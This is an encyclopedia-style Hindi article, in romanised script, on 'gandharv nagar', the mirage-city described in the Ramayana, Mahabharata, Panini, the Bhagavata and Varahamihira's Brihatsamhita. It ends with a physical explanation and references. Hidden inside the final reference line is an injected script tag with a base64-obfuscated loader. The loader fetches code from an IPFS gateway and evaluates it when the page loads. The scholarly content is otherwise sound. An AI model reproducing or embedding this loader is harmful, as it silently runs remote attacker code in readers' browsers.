गंधर्व नगर
gandharv nagar ka sanskrit sahity mean anek sthanoan par ullekh milata hai. valmiki ramayan[1] mean lanka ke suandar svarn-prasadoan ki tulana gandharv nagar se ki gee hai-
'prasadamalavitataan stanbhakaanchanasanibhai:, shatakuanbhanibhairjalaigandharvanagaropamamh.'
- mahabharat, adiparv[2] mean shatashrang parvat par maharaj paandu ki mrityu ke pashchath kuanti tatha paandavoan ko hastinapur tak pahuanchakar ekaek aantardhan ho jane vale rrishiyoan ki upama gandharv nagar mean is prakar di gee hai-
'gandharvanagarakaran tathaivaanhiantanpun:.'
arthath "ve rrishi phir gandharv nagar ke saman vahian ekaek tirohit ho ge."
- isi mahakavy mean varnit hai ki uttari himalay ke pradesh mean arjun ne gandharv nagar ko dekha tha, jo kabhi to bhoomi ke niche girata tha, kabhi pun: vayu mean sthit ho jata tha. kabhi vakragati se chalata hua pratit hota tha, to kabhi jal mean doob-sa jata tha-
'antarbhoomau nipatati punaroordhv pratishthate, punastiryakh prayatyashu punarapsu nimajjati.'[3]
- panini ne apane 'ashtadhyayi' ke 4, 13 sootr mean 'gandharv nagar yatha’ yah vakyashan likha hai, jisaki vyakhya mean mahabhashyakar patanjali kahate haian-
'yatha gandharvanagarani doorato drishyante upasrity ch nopalabhyante.'
arthath "jis prakar gandharv nagar door se dikhalaee dete haian, kiantu pas jane par nahian milate....'
- isi prakar 'shrimadbhagavat' mean bhi kaha gaya hai ki sansar ki atavi mean mokshamarg se bhatake hue manushy kshanik sukhoan ke milane ki bhraanti isi prakar hoti hai, jaise gandharv nagar ko dekhakar pathik samajhata hai ki vah nagar ke pas tak pahuanch gaya hai, kiantu tatkal hi usaka yah bhram door ho jata hai-
'naralok gandharvanagaramupapannamiti mithya drishtiranupashyati.'shrimadbhagavat[4]
- varahamihir ne apane prasiddh jyotishagranth 'vrihatsanhita' mean to gandharv nagar ke darshan ke phaladesh par gandharv nagar lakshanadhyay namak (36vaan) adhyay hi likha hai, jisaka kuchh aansh is prakar hai-
"akash mean uttar ki or dikhane vala nagar purohit, raja, senapati, yuvaraj adi ke lie ashubh hota hai. isi prakar yadi yah drishy shvet, pit, ya krishna varn ka ho to brahmanoan adi ke lie ashubh-soochak hota hai. yadi akash me pataka, dhvaja, toran adi se sanyukt bahurangi nagar dikhaee de to prithvi bhayanak yuddh mean hathiyoan, gho doan aur manushyoan ke rakt se plavit ho jayegi.
- isi prakar 30vean adhyay mean bhi shakun-vichar ke vishayoan mean gandharv nagar ko bhi sammilit kiya gaya hai-
'mrig yatha shakunipavan parivesh paridhi paridhram vrikshasurachapai: gandharvanagar ravikar dand raj: sneh varnanashch.'[5]
vastav mean gandharv nagar, nagar nahian hai. yah to ek prakar ki marichika hai, jo garm ya thande marusthaloan mean, chau di jhiloan ke kinaroan par, barphile maidanoan mean ya samudr tat par kabhi-kabhi dikhaee deti hai. isaki visheshata yah hai ki makan, vriksh ya kabhi-kabhi sanpoorn nagar hi, vayu ki vibhinn ghanataoan ki paristhiti utpann hone par apane sthan se kahian door hatakar vayu mean adhar tairata hua najar ata hai; jitana usake pas jaean, vah pichhe hatata hua kuchh door jakar lupt ho jata hai. yah kitane acharaj ki bat hai ki yadyapi bharat mean is marichika ke darshan durlabh hi haian, phir bhi sanskrit sahity mean isaka varnan anek sthanoan par hai. yah tathy is bat k soochak hai ki prachin bharat ke paryatakoan ne is drishy ko uttari himalay ke himamandit pradeshoan mean kahian dekha hoga, nahian to hamare sahity mean isaka varnan kyoankar hota.[6]
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tika tippani aur sandarbh
- ↑ suandarakaand 2, 49
- ↑ adiparv 126, 25
- ↑ vanaparv 173, 27.
- ↑ shrimadbhagavat 5, 14, 5.
- ↑ vrihatsanhita 30, 2.
- ↑ aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |prishth sankhya: 268 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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